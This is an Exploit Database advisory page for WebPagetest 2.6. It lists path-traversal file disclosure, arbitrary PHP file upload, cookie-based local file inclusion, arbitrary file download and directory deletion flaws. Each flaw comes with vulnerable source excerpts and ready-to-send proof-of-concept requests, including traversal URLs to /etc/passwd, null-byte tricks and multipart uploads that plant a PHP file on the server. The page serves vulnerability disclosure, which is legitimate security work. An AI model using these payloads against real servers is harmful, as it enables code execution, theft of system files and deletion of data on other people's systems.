



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# webpagetest 2.6 - Multiple Vulnerabilities

**EDB-ID:**

19790

**CVE:**

**EDB Verified:** ✓

**Author:**

[DUN](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2012-07-13

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

:.....- . . . :..... :...
;;; `';, ;; ;;;`;;;;, `;;;
`[[ [][[]' [[ [][[]' '[[
$$, $$$ $$$ $$$ "Yc$$
888_,o8P'88 .d888 888 Y88
MMMMP" ` "YmmMMMM" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-07-11 ]
#####
# [ WebPagetest <= 2.6 ] Multiple Vulnerabilities #
#####
#
# Script: "WebPagetest provides a system for testing the performance of
web pages from multiple
# locations/configurations and consuming the results in a
friendly web interface. "
#
# Vendor: http://www.webpagetest.org/about
# Download: http://code.google.com/p/webpagetest/downloads/list
#
#####
# [ Local File Disclosure #1 ]
# PoC: http://localhost/gettext.php?
file=../../../../../../../../../../../../../../../../etc/passwd
#
# File: ./webpagetest/gettext.php (lines: 2-13)
# ..cut..
include('common.inc'); // 1
$ok = false;

if( isset($_GET['file']) && strlen($_GET['file']) ) // 2
{
    $data = gz_file_get_contents("$testPath/{$_GET['file']}"); // 3
    if( $data !== false )
    {
        $ok = true;
        echo $data; // 7
    }
}
[LFD]
}
# ..cut..
#
# File: ./webpagetest/common.inc (lines: 493-510)
# ..cut..
function gz_file_get_contents($file)
{
    $data = null;

    $zip = gzopen("$file.gz", 'rb');
    if( $zip === false )
        $zip = gzopen($file, 'rb'); // 4

    if( $zip !== false )
    {
        $data = gzread($zip, 10000000); // 5
        gzclose($zip);
    }
    else
        $data = false;

    return $data; // 6
}
# ..cut..
#
#####
# [ Local File Disclosure #2 ]

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# PoC: http://localhost/gettcpdump.php?
file=../../../../../../../../../../../../../../../../etc/passwd
#
# File: ./webpagetest/gettcpdump.php (lines: 2-13)
# ..cut..
include('common.inc'); // 1
$file = "$testPath/{$_GET['file']}"; // 2

if( isset($_GET['file']) && strlen($_GET['file']) && gz_is_file($file) )
// 3
{
    header ("Content-type: application/octet-stream");
    gz_readfile_chunked($file); // 5
}
# ..cut..
#
# File: ./webpagetest/common.inc (lines: 460-486, 586-590)
# ..cut..
function gz_readfile_chunked($filename, $retbytes = TRUE)
{
    $buffer = '';
    $cnt =0;
    $handle = gzopen("$filename.gz", 'rb');
    if ($handle === false)
        $handle = gzopen($filename, 'rb'); // 6
    if ($handle === false)
        return false;
    while (!gzeof($handle))
    {
        $buffer = gzread($handle, 1024 * 1024); // 1MB at a time // 7
        echo $buffer; // 8
    }
}
[LFD]
# ..cut..
}
# ..cut..
return $status;
}
# ..cut..
function gz_is_file($filename)
{
    $ret = is_file("$filename.gz") || is_file($filename); // 4
    return $ret; //
}
# ..cut..
#
#####
# [ Local File Disclosure #3 ]
# PoC: http://localhost/getgzip.php?
file=../../../../../../../../../../../../../../../../etc/passwd
# It's a very similar case, as above.
#
#####
# [ Arbitrary File Upload #1 ]
# File: ./webpagetest/work/resultimage.php (lines: 18-48)
# ..cut..
$lockKey = $locations[$location]['key'];
if( (!strlen($lockKey) || !strcmp($key, $lockKey)) ||
!strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1") ) // 1 true
{
    if( isset($_FILES['file']) )
// 2
    {
        $fileName = $_FILES['file']['name'];
// 3
        $path = './' . GetTestPath($id);
// $path = './results/'
# ..cut..
        logMsg(" Moving uploaded image '{$_FILES['file']['tmp_name']}'
to '$path/$fileName\n");
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

        move_uploaded_file($_FILES['file']['tmp_name'],
"$path/$fileName"); // 4 [AFU]
    }
    else
        logMsg(" no uploaded file attached");
}
# ..cut..
# PoC: http://localhost/work/resultimage.php
POST /work/resultimage.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=-----
-31101243933548
Content-Length: 209
-----31101243933548
Content-Disposition: form-data; name="file"; filename="info.php"
Content-Type: text/x-php

<?php phpinfo(); ?>

-----31101243933548--
# Uploaded file will be here: http://localhost/results/info.php
#
#####
# [ Arbitrary File Upload #2 ]
# File: ./webpagetest/work/dopublish.php (lines: 2-31)
# ..cut..
require_once('../lib/pclzip.lib.php'); // 1
include '../common.inc';
header('Content-type: text/plain');
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
set_time_limit(300);

// make sure a file was uploaded
if( isset($_FILES['file']) ) // 2
{
    $fileName = $_FILES['file']['name']; // 3

    // create a new test id
    $today = new DateTime("now", new DateTimeZone('America/New_York'));
    $id = $today->format('ymd_') . md5(uniqid(rand(), true)); // 4

    $path = '../' . GetTestPath($id); // 5

    // create the folder for the test results
    if( !is_dir($path) )
        mkdir($path, 0777, true);

    // extract the zip file
    $archive = new PclZip($_FILES['file']['tmp_name']); // 6
    $list = $archive->extract(PCLZIP_OPT_PATH, "$path/",
PCLZIP_OPT_REMOVE_ALL_PATH); // 7 [AFU]
    if( !$list )
        unset($id);

    echo $id;
}
# ..cut..
# In this case, we need to create the zip archive, which contains our php
file (info.php).
# While uploading, archive will be automatically unzipped to the
appropriate folder.

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# PoC: http://localhost/work/dopublish.php
POST /work/dopublish.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=-----
-4966737613931
Content-Length: 214
-----4966737613931
Content-Disposition: form-data; name="file"; filename="info.zip"
Content-Type: application/x-zip-compressed

[zip file]

-----4966737613931--
# After file uploading, script prints some string. For example:
120711_718a3a42e314a0cb740ee66b7b92b9ac.
# This means, uploaded and unzipped file is in folder
/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/
# Uploaded file will be here:
http://localhost/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/info.php
#
#####
# [ Arbitrary File Upload #3 ] magic_quotes_gpc = Off;
# File: ./webpagetest/work/workdone.php (lines: 12-45)
# ..cut..
    $id = $_REQUEST['id']; // 1
# ..cut..
    if( $_REQUEST['video'] ) // 2
    {
        logMsg("Video file $id received from $location");

        $dir = './' . GetVideoPath($id); // 3
        if( isset($_FILES['file']) ) // 4
        {
            $dest = $dir . '/video.mp4'; // 5
$dest = ./results/video/./info.php%00/video.mp4
            move_uploaded_file($_FILES['file']['tmp_name'], $dest); // 6
[AFU]
# ..cut..
    }
}
# ..cut..
# PoC: http://localhost/work/workdone.php?video=1&id=./info.php%00
POST /work/workdone.php?video=1&id=./info.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=-----
-187161971819895
Content-Length: 211
-----187161971819895
Content-Disposition: form-data; name="file"; filename="info.php"
Content-Type: text/x-php

<?php phpinfo(); ?>

-----187161971819895--
# Uploaded file will be here: http://localhost/results/info.php
#
#####
# [ Local File Inclusion ] magic_quotes_gpc = Off;
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# File: ./webpagetest/about.php (line: 20)
# ..cut..
include 'header.inc'; // 1
# ..cut..
#
# File: ./webpagetest/header.inc (lines: 43-47)
# ..cut..
elseif(isset($_COOKIE["cfg"]))
    $testLoc = $_COOKIE["cfg"]; // 2

if( isset($testLoc) && strlen($testLoc) &&
is_file("./custom/$testLoc/headerAd.inc") ) // 3
    include("./custom/$testLoc/headerAd.inc"); // 4
[LFI]
# ..cut..
#
# PoC: http://localhost/about.php
GET /about.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: cfg=../../../../../../../../../../../../etc/passwd%00
#
#####
# [ Arbitrary File Download #1 ] register_globals = On
# PoC: http://localhost/download.php?
testPath=./relay/../../../../../../../../../../../../etc/
# If the "relay" directory exists, the script will compress to a zip
archive, all files in
# a directory that is set in testPath variable. Thereafter, zip archive
will be sent to the browser.
#
#####
# [ Arbitrary File Download #2 ] magic_quotes_gpc = Off;
# PoC: http://localhost/video/download.php?
id=../../../../../../../../../../../../etc/passwd%00
#
#####
# [ Arbitrary File Delete ] register_globals = On
# PoC: http://localhost/delete.php?
testPath=./relay/../../../../../../../../../../../../etc/
# If the "relay" directory exists, then directory that is set in a
variable testPath will be deleted.
#
### [ dun / 2012 ] #####
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING